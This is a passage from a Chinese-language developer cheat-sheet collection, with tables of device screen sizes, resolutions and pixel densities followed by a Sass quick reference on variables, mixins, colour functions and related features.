| Samsung Galaxy S21 Ultra (2021) | 6.8 <sub>inch</sub> | 1440 x 3200 <sub>px</sub> | 384 x 854 <sub>px</sub> | 515 <sub>ppi</sub> | 137 <sub>ppi</sub> | 3.75 <sub>xxxhdpi</sub> | Android 11.0 |
| Samsung Galaxy S8 | 5.8 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | 360 x 740 <sub>px</sub> | 570 <sub>ppi</sub> | 142 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 7.0 |
| Samsung Galaxy S8+ | 6.2 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | | 529 <sub>ppi</sub> | 132 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 7.0 |
| Samsung Galaxy S9 | 5.8 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | 360 x 740 <sub>px</sub> | 570 <sub>ppi</sub> | 142 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 8.0 |
| Samsung Galaxy S9+ | 6.2 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | | 529 <sub>ppi</sub> | 151 <sub>ppi</sub> | 4 <sub>xxxhdpi</sub> | Android 8.0 |
| Samsung Galaxy Z Flip (2020) | 6.7 <sub>inch</sub> | 1080 x 2636 <sub>px</sub> | 412 x 1004 <sub>px</sub> | 425 <sub>ppi</sub> | 162 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 10.0 |
| Samsung Galaxy Z Fold2 (2020) | 7.6 <sub>inch</sub> | 1768 x 2208 <sub>px</sub> | 884 x 1104 <sub>px</sub> | 373 <sub>ppi</sub> | 187 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 10.0 |
| Samsung Note10 (2019) | 6.3 <sub>inch</sub> | 1080 x 2280 <sub>px</sub> | 412 x 869 <sub>px</sub> | 401 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
| Samsung Note10+ (2019) | 6.8 <sub>inch</sub> | 1440 x 3040 <sub>px</sub> | 412 x 869 <sub>px</sub> | 498 <sub>ppi</sub> | 142 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 9.0 |
| Samsung S6 | 5.1 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 577 <sub>ppi</sub> | 144 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 5.0.2 |
| Samsung S6 edge | 5.1 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 577 <sub>ppi</sub> | 144 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 5.0.2 |
| Samsung S7 | 5.1 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 577 <sub>ppi</sub> | 144 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 6.0 |
| Samsung S7 edge | 5.5 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | 360 x 640 <sub>px</sub> | 534 <sub>ppi</sub> | 153 <sub>ppi</sub> | 4.0 <sub>xxxhdpi</sub> | Android 6.0 |
| Sony Xperia X | 5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 441 <sub>ppi</sub> | 147 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 6.0.1 |
| Sony Xperia XZ | 5.2 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 424 <sub>ppi</sub> | 141 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | Android 6.0.1 |
| Xiaomi Redmi Note 7 (2019) | 6.3 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 409 <sub>ppi</sub> | 149 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 |
| Xiaomi Redmi Note 8 (2019) | 6.3 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 409 <sub>ppi</sub> | 149 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 |
| Xiaomi Redmi Note 8 Pro (2019) | 6.53 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 395 <sub>ppi</sub> | 144 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 |
<!--rehype:className=show-header-->
### 平板
<!--rehype:wrap-class=col-span-3-->
| 设备 | 屏幕尺寸 | 解析度 | 可视窗口 | 密度 | 设备密度 | 比率 | 系统 |
|----------------------|----------------------|---------------------------|--------------------------|--------------------|--------------------|----------------------|-----------------|
| Apple iPad 10.2" (2019) | 10.2 <sub>inch</sub> | 1620 x 2160 <sub>px</sub> | 810 x 1080 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 |
| Apple iPad 10.2" (2020) | 10.2 <sub>inch</sub> | 1620 x 2160 <sub>px</sub> | 810 x 1080 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 14 |
| Apple iPad Air | 9.7 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 7 |
| Apple iPad Air 10.5" (2019) | 10.5 <sub>inch</sub> | 1668 x 2224 <sub>px</sub> | 834 x 1112 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 |
| Apple iPad Air 10.9" (2020) | 10.9 <sub>inch</sub> | 1640 x 2360 <sub>px</sub> | 820 x 1180 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 14 |
| Apple iPad Air 2 | 9.7 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 8.1 |
| Apple iPad Mini 7.9" (2019) | 7.9 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 324 <sub>ppi</sub> | 162 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 |
| Apple iPad Pro | 12.9 <sub>inch</sub> | 2048 x 2732 <sub>px</sub> | 1024 x 1366 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 9 |
| Apple iPad Pro 10.5 (2017) | 10.5 <sub>inch</sub> | 1668 x 2224 <sub>px</sub> | 834 x 1112 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 11 |
| Apple iPad Pro 11" (2018) | 11 <sub>inch</sub> | 1668 x 2388 <sub>px</sub> | 834 x 1194 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 |
| Apple iPad Pro 11" (2020) | 11 <sub>inch</sub> | 1668 x 2388 <sub>px</sub> | 834 x 1194 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.4 |
| Apple iPad Pro 12.9" (2018) | 12.9 <sub>inch</sub> | 2048 x 2732 <sub>px</sub> | 1024 x 1366 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.1.2 |
| Apple iPad Pro 12.9" (2020) | 12.9 <sub>inch</sub> | 2048 x 2732 <sub>px</sub> | 1024 x 1366 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iPadOS 13.4 |
| Apple iPad Pro 9.7 | 9.7 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 9.3.2 |
| Apple iPad Pro 9.7 (2017) | 9.7 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 264 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 10.3 |
| Apple iPad mini 3 | 7.9 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 324 <sub>ppi</sub> | 132 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 9 |
| Apple iPad mini 4 | 7.9 <sub>inch</sub> | 1536 x 2048 <sub>px</sub> | 768 x 1024 <sub>px</sub> | 324 <sub>ppi</sub> | 162 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 8.1 |
| Google Pixel C (2015) | 10.2 <sub>inch</sub> | 2560x1800 <sub>px</sub> | 1280 x 900 <sub>px</sub> | 308 <sub>ppi</sub> | 154 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android 6.0.1 |
<!--rehype:className=show-header-->
### 笔记本电脑
<!--rehype:wrap-class=col-span-3-->
| 设备 | 屏幕尺寸 | 解析度 | 可视窗口 | 密度 | 设备密度 | 比率 | 系统 |
|----------------------|----------------------|---------------------------|--------------------------|--------------------|--------------------|----------------------|-----------------|
| MacBook 2015 12" | 12 <sub>inch</sub> | 2304 x 1440 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 226 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
| MacBook 2016 12" | 12 <sub>inch</sub> | 2304 x 1440 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 226 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
| MacBook 2017 12" | 12 <sub>inch</sub> | 2304 x 1440 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 226 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
| MacBook Air 2014 11" | 11.6 <sub>inch</sub> | 1366 x 768 <sub>px</sub> | 1366 x 768 <sub>px</sub> | 135 <sub>ppi</sub> | 135 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | OS X Mavericks |
| MacBook Air 2014 13" | 13.3 <sub>inch</sub> | 1440 x 900 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 128 <sub>ppi</sub> | 128 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | OS X Mavericks |
| MacBook Air 2015 11" | 11.6 <sub>inch</sub> | 1366 x 768 <sub>px</sub> | 1366 x 768 <sub>px</sub> | 135 <sub>ppi</sub> | 135 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | OS X El Capitan |
| MacBook Air 2015 13" | 13.3 <sub>inch</sub> | 1440 x 900 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 128 <sub>ppi</sub> | 128 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | macOS Sierra |
| MacBook Air 2017 13" | 13.3 <sub>inch</sub> | 1440 x 900 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 128 <sub>ppi</sub> | 128 <sub>ppi</sub> | 1.0 <sub>mdpi</sub> | macOS Mojave |
| MacBook Air 2018 13" | 13.3 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Mojave |
| MacBook Air 2020 13" | 13.3 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 114 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | macOS Catalina |
| MacBook Pro 13" 2018 | 13.3 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Mojave |
| MacBook Pro 15" 2018 | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Mojave |
| MacBook Pro 16" 2019 | 16 <sub>inch</sub> | 3072 x 1920 <sub>px</sub> | 1536 x 960 <sub>px</sub> | 226 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Catalina |
| MacBook Pro 2014 13" | 13.4 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
| MacBook Pro 2014 15" | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
| MacBook Pro 2015 13" | 13.4 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
| MacBook Pro 2015 15" | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
| MacBook Pro 2016 13" | 13.4 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
| MacBook Pro 2016 15" | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
| MacBook Pro 2017 13" | 13.4 <sub>inch</sub> | 2560 x 1600 <sub>px</sub> | 1280 x 800 <sub>px</sub> | 227 <sub>ppi</sub> | 113 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
| MacBook Pro 2017 15" | 15.4 <sub>inch</sub> | 2880 x 1800 <sub>px</sub> | 1440 x 900 <sub>px</sub> | 220 <sub>ppi</sub> | 112 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | macOS Sierra |
<!--rehype:className=show-header-->
### 智能手表
<!--rehype:wrap-class=col-span-3-->
| 设备 | 屏幕尺寸 | 解析度 | 可视窗口 | 密度 | 设备密度 | 比率 | 系统 |
|----------------------|----------------------|---------------------------|--------------------------|--------------------|--------------------|----------------------|-----------------|
| Apple Watch SE (40mm) (2020) | 1.57 <sub>inch</sub> | 394 x 324 <sub>px</sub> | 197 x 162 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 7.0 |
| Apple Watch SE (44mm) (2020) | 1.78 <sub>inch</sub> | 448 x 368 <sub>px</sub> | 224 x 184 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 7.0 |
| Apple Watch Series 3 (38mm) | 1.5 <sub>inch</sub> | 340 x 272 <sub>px</sub> | 170 x 136 <sub>px</sub> | 290 <sub>ppi</sub> | 145 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 4.0 |
| Apple Watch Series 3 (42mm) | 1.65 <sub>inch</sub> | 390 x 312 <sub>px</sub> | 195 x 156 <sub>px</sub> | 303 <sub>ppi</sub> | 152 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 4.0 |
| Apple Watch Series 4 (40mm) | 1.57 <sub>inch</sub> | 394 x 324 <sub>px</sub> | 197 x 162 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 5.0 |
| Apple Watch Series 4 (44mm) | 1.78 <sub>inch</sub> | 448 x 368 <sub>px</sub> | 224 x 184 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 5.0 |
| Apple Watch Series 5 (40mm) (2019) | 1.57 <sub>inch</sub> | 394 x 324 <sub>px</sub> | 197 x 162 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 6.0 |
| Apple Watch Series 5 (44mm) (2019) | 1.78 <sub>inch</sub> | 448 x 368 <sub>px</sub> | 224 x 184 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 6.0 |
| Apple Watch Series 6 (40mm) (2020) | 1.57 <sub>inch</sub> | 394 x 324 <sub>px</sub> | 197 x 162 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 7.0 |
| Apple Watch Series 6 (44mm) (2020) | 1.78 <sub>inch</sub> | 448 x 368 <sub>px</sub> | 224 x 184 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | watchOS 7.0 |
| Asus Zenwatch 2 (2015) | 1.63 <sub>inch</sub> | 320 x 320 <sub>px</sub> | 213 x 213 <sub>px</sub> | 278 <sub>ppi</sub> | 185 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | |
| Asus Zenwatch 3 (2016) | 1.39 <sub>inch</sub> | 400 x 400 <sub>px</sub> | 267 x 267 <sub>px</sub> | 287 <sub>ppi</sub> | 191 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Android Wear OS 2.1 |
| Asus Zenwatch 3 (2016) | 1.39 <sub>inch</sub> | 400 x 400 <sub>px</sub> | 267 x 267 <sub>px</sub> | 287 <sub>ppi</sub> | 191 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Android Wear OS 2.1 |
| Huawei Watch GT (2018) | 1.39 <sub>inch</sub> | 454 x 454 <sub>px</sub> | 227 x 227 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | |
| Huawei Watch Magic (2018) | 1.2 <sub>inch</sub> | 390 x 390 <sub>px</sub> | 195 x 195 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | |
| LG G Watch R (2015) | 1.3 <sub>inch</sub> | 320 x 320 <sub>px</sub> | 213 x 213 <sub>px</sub> | 245 <sub>ppi</sub> | 163 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Android Wear OS 1.0 |
| LG Watch Sport (2017) | 1.38 <sub>inch</sub> | 480 x 480 <sub>px</sub> | 240 x 240 <sub>px</sub> | 348 <sub>ppi</sub> | 174 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android Wear 2.0 |
| LG Watch Urbane 2nd Edition (2016) | 1.38 <sub>inch</sub> | 480 x 480 <sub>px</sub> | 240 x 240 <sub>px</sub> | 348 <sub>ppi</sub> | 174 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | Android Wear 2.0 |
| LG Watch W7 (2018) | 1.2 <sub>inch</sub> | 360 x 360 <sub>px</sub> | 240 x 240 <sub>px</sub> | 300 <sub>ppi</sub> | 200 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Android Wear OS 2.0 |
| Samsung Galaxy Watch (2018) | 1.3 <sub>inch</sub> | 360 x 360 <sub>px</sub> | 240 x 240 <sub>px</sub> | 278 <sub>ppi</sub> | 185 <sub>ppi</sub> | 1.5 <sub>hdpi</sub> | Tizen-based <br/>wearable OS 4.0 |
<!--rehype:className=show-header-->
### 常见的显示分辨率N/A = 不适用)
<!--rehype:wrap-class=col-span-2 row-span-2-->
标准 | 纵横比 | 可视窗口 | 百万像素 | Steam(%) | Stat Counter(%)
:- |:- |:- |:- |:- |:- |
`nHD` | 16:9 | 640 x 360 <sub>px</sub> | 0.230 | N/A | 0.47
`SVGA` | 4:3 | 800 x 600 <sub>px</sub> | 0.480 | N/A | 0.76
`XGA` | 4:3 | 1024 x 768 <sub>px</sub> | 0.786 | 0.38 | 2.78
`WXGA` | 16:9 | 1280 x 720 <sub>px</sub> | 0.922 | 0.36 | 4.82
`WXGA` | 16:10 | 1280 x 800 <sub>px</sub> | 1.024 | 0.61 | 3.08
`SXGA` | 5:4 | 1280 x 1024 <sub>px</sub> | 1.311 | 1.24 | 2.47
`HD` | ≈16:9 | 1360 x 768 <sub>px</sub> | 1.044 | 1.55 | 1.38
`HD` | ≈16:9 | 1366 x 768 <sub>px</sub> | 1.049 | 10.22 | 23.26
`WXGA+` | 16:10 | 1440 x 900 <sub>px</sub> | 1.296 | 3.12 | 6.98
N/A | 16:9 | 1536 x 864 <sub>px</sub> | 1.327 | N/A | 8.5
`HD+` | 16:9 | 1600 x 900 <sub>px</sub> | 1.440 | 2.59 | 4.14
`WSXGA+` | 16:10 | 1680 x 1050 <sub>px</sub> | 1.764 | 1.97 | 2.23
`FHD` | 16:9 | 1920 x 1080 <sub>px</sub> | 2.074 | 64.81 | 20.41
`WUXGA` | 16:10 | 1920 x 1200 <sub>px</sub> | 2.304 | 0.81 | 0.93
`QWXGA` | 16:9 | 2048 x 1152 <sub>px</sub> | 2.359 | N/A | 0.51
`QXGA` | 4:3 | 2048 x 1536 <sub>px</sub> | 3.145 | - | -
`UWFHD` | ≈21:9 | 2560 x 1080 <sub>px</sub> | 2.765 | 1.13 | N/A
`QHD` | 16:9 | 2560 x 1440 <sub>px</sub> | 3.686 | 6.23 | 2.15
`WQXGA` | 16:10 | 2560 x 1600 <sub>px</sub> | 4.096 | &lt;0.58 | &lt;2.4
`UWQHD` | ≈21:9 | 3440 x 1440 <sub>px</sub> | 4.954 | 0.87 | N/A
`4K UHD`| 16:9 | 3840 x 2160 <sub>px</sub> | 8.294 | 2.12 | N/A
`Other` | - | - | - | 2.00 | 15.09
<!--rehype:className=show-header-->
### 屏幕分辨率
解析度 | 像素
:- |:-
`540p / qHD` | 960×540<sub>px</sub>
`720p / HD` | 1280×720<sub>px</sub>
`1080p / Full HD / FHD` | 19201080<sub>px</sub>
`2K` | 2048×1080<sub>px</sub>
`1440p / QHD / QuadHD / WQHD` | 2560×1440<sub>px</sub>
`2160p / UHD` | 3840×2160<sub>px</sub>
`4K` | 4096×2160<sub>px</sub>
`5K` | 5120×2880<sub>px</sub>
`8K / 8K UHD` | 7680×4320<sub>px</sub>
### 显示分辨率和用例
解析度名称 | 设备
:- |:-
`8K` _(8K UHD)_ | `TVs`
`“Cinema” 4K` _(4K)_ | 投影仪
`UHD` _(4K, Ultra HD, Ultra-High Definition)_ | `TVs`, 监视器, 智能手机
`2K` _(none)_ | 投影仪
`WUXGA` _(Widescreen Ultra Extended Graphics Array)_ | 监视器, 投影仪
`1080p` _(Full HD, FHD, HD, High Definition)_ | `TVs`, 监视器, 智能手机
`720p` _(HD, High Definition)_ `TVs`, 智能手机
<!--rehype:className=style-list-arrow-->
另见
---
- [通用解析度列表](https://en.wikipedia.org/wiki/List_of_common_resolutions) _(en.wikipedia.org)_
- [显示屏分辨率](https://en.wikipedia.org/wiki/Display_resolution) _(en.wikipedia.org)_

620
docs/sass.md Normal file
View File

@ -0,0 +1,620 @@
Sass
===
这是一份快速参考备忘单,列出了 [SASS](https://sass-lang.com) 最有用的功能。
Sass 基础
--------
### 介绍
<!--rehype:wrap-class=row-span-2-->
- [Sass 官方文档](https://sass-lang.com/documentation) _(sass-lang.com)_
- [Sass 中文文档](https://www.sass.hk/docs/) _(sass.hk)_
Sass 是一种 CSS 的预编译语言
```bash
$ npm install -g sass
```
在 Node.js 环境中使用 Sass
```bash
$ sass source/index.scss build/index.css
$ sass --watch input.scss output.css
$ sass --watch app/sass:public/css
```
### 变量
```scss
$defaultLinkColor: #46EAC2;
a {
color: $defaultLinkColor;
}
```
### 字符串插值
```scss
$wk: -webkit-;
.rounded-box {
#{$wk}border-radius: 4px;
}
```
### 注释
```scss
/*
这是多行注释
块注释
块注释
*/
// 这是一条单行注释
```
### Extend
```scss
.button {
···
}
.push-button {
@extend .button;
}
```
### 嵌套(Nesting)
<!--rehype:wrap-class=row-span-2-->
```scss
nav {
ul {
padding: 0;
list-style: none;
}
li { display: inline-block; }
a {
display: block;
}
}
```
编译 css 为:
```scss
nav ul {
padding: 0;
list-style: none;
}
nav li {
display: inline-block;
}
nav a {
display: block;
}
```
### 模块(片段)
<!--rehype:wrap-class=row-span-2-->
```scss
// _base.scss
$font-stack: Helvetica, sans-serif;
$primary-color: #333;
```
注意以下划线开头的 Sass 文件
```scss
// styles.scss
@use 'base';
.inverse {
background-color: base.$primary-color;
color: white;
}
```
编译 css 为:
```css
.inverse {
background-color: #333;
color: white;
}
```
### 混合(Mixins)
```scss
@mixin heading-font {
font-family: sans-serif;
font-weight: bold;
}
h1 {
@include heading-font;
}
```
查看: [混合(Mixins)](#sass-混合mixins)
### @import
```scss
@import './other_sass_file';
@import '/code', 'lists';
// 纯 CSS @imports
@import "theme.css";
@import url(theme);
```
`.sass``.sass` 扩展名是可选的。
Sass 混合(Mixins)
------
### 参数
```scss
@mixin font-size($n) {
font-size: $n * 1.2em;
}
```
----
```scss
body {
@include font-size(2);
}
```
### 默认值
```scss
@mixin pad($n: 10px) {
padding: $n;
}
```
----
```scss
body {
@include pad(15px);
}
```
### 默认变量
```scss
$default-padding: 10px;
@mixin pad($n: $default-padding) {
padding: $n;
}
body {
@include pad(15px);
}
```
Sass 颜色函数
--------
<!--rehype:body-class=cols-2-->
### rgba
```scss
rgb(100, 120, 140)
rgba(100, 120, 140, .5)
rgba($color, .5)
```
### Mixing
```scss
mix($a, $b, 10%) // 10% a, 90% b
```
### 修改 HSLA
```scss
darken($color, 5%)
lighten($color, 5%)
```
```scss
saturate($color, 5%)
desaturate($color, 5%)
grayscale($color)
```
```scss
adjust-hue($color, 15deg)
complement($color) // like adjust-hue(_, 180deg)
invert($color)
```
```scss
fade-in($color, .5) // aka opacify()
fade-out($color, .5) // aka transparentize()
rgba($color, .5) // sets alpha to .5
```
### 获取值
<!--rehype:wrap-class=row-span-2-->
#### HSLA
```scss
hue($color) // 0deg..360deg
saturation($color) // 0%..100%
lightness($color) // 0%..100%
alpha($color) // 0..1 (aka opacity())
```
#### RGB
```scss
red($color) // 0..255
green($color)
blue($color)
```
---
:- | :-
:- | :-
`color.red()` | 用于获取颜色的红色通道
`color.green()` | 用于获得颜色的绿色通道
`color.blue()` | 用于获取颜色的蓝色通道
`color.hue()` | 以获得颜色的色调
`color.saturation()` | 用于获得颜色的饱和度
`color.lightness()` | 以获得颜色的亮度
另见: [hue()](http://sass-lang.com/documentation/Sass/Script/Functions.html#hue-instance_method), [red()](http://sass-lang.com/documentation/Sass/Script/Functions.html#red-instance_method)
### Sass 内置了对颜色值的支持
```scss
@debug rgb(204, 102, 153); // #c69
@debug rgba(107, 113, 127, 0.8); // rgba(107, 113, 127, 0.8)
@debug hsl(228, 7%, 86%); // #dadbdf
@debug hsla(20, 20%, 85%, 0.7); // rgb(225, 215, 210, 0.7)
```
### 调整
```scss
// 固定金额变动
adjust-color($color, $blue: 5)
adjust-color($color, $lightness: -30%) // darken(_, 30%)
adjust-color($color, $alpha: -0.4) // fade-out(_, .4)
adjust-color($color, $hue: 30deg) // adjust-hue(_, 15deg)
// 通过百分比变化
scale-color($color, $lightness: 50%)
// 完全改变一个属性
change-color($color, $hue: 180deg)
change-color($color, $blue: 250)
```
支持的: `$red`, `$green`, `$blue`, `$hue`, `$saturation`, `$lightness`, `$alpha`
Sass 其他函数
--------
### 字符串
<!--rehype:wrap-class=row-span-2-->
```scss
unquote('hello')
quote(bold); // "bold"
```
```scss
to-upper-case(hello)
to-lower-case(hello)
```
----
```scss
str-length(hello world)
// "ello" - 它是从 1 开始的而不是从 0 开始的
str-slice(hello, 2, 5)
str-insert("abcd", "X", 1) // "Xabcd"
```
### Numbers
<!--rehype:wrap-class=row-span-2-->
```scss
floor(4.2) // 4
ceil(4.2) // 5
round(4.2) // 4
abs(-10px) // 10px
```
----
```scss
min(1px, 4px) // 1px
$widths: 50px, 30px, 100px
@debug math.min($widths...) // 30px
```
----
```scss
percentage(.5) // 50%
random(3) // 0..3
```
### Units
```scss
unit(3em) // 'em'
unitless(100px) // false
```
### Units
```scss
unit(3em) // 'em'
unitless(100px) // false
```
### Misc
```scss
// 检查 $red
variable-exists(red)
// 检查@mixin red-text
mixin-exists(red-text)
function-exists(redify)
```
----
```scss
global-variable-exists(red)
```
----
```scss
// .menu li a
selector-append('.menu', 'li', 'a')
// .menu:hover li
selector-nest('.menu', '&:hover li')
selector-extend(...)
selector-parse(...)
selector-replace(...)
selector-unify(...)
```
Sass 功能检查
--------
<!--rehype:body-class=cols-2-->
### 功能检查
```scss
meta.feature-exists($feature)
feature-exists($feature) //=> boolean
```
----
```scss
@mixin debug-content-exists {
@debug meta.content-exists();
@content;
}
@include debug-content-exists; // false
@include debug-content-exists { // true
// Content!
}
```
### 功能
:- | :-
:- | :-
`global-variable-shadowing` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着局部变量将隐藏全局变量,除非它具有 `!global` 标志
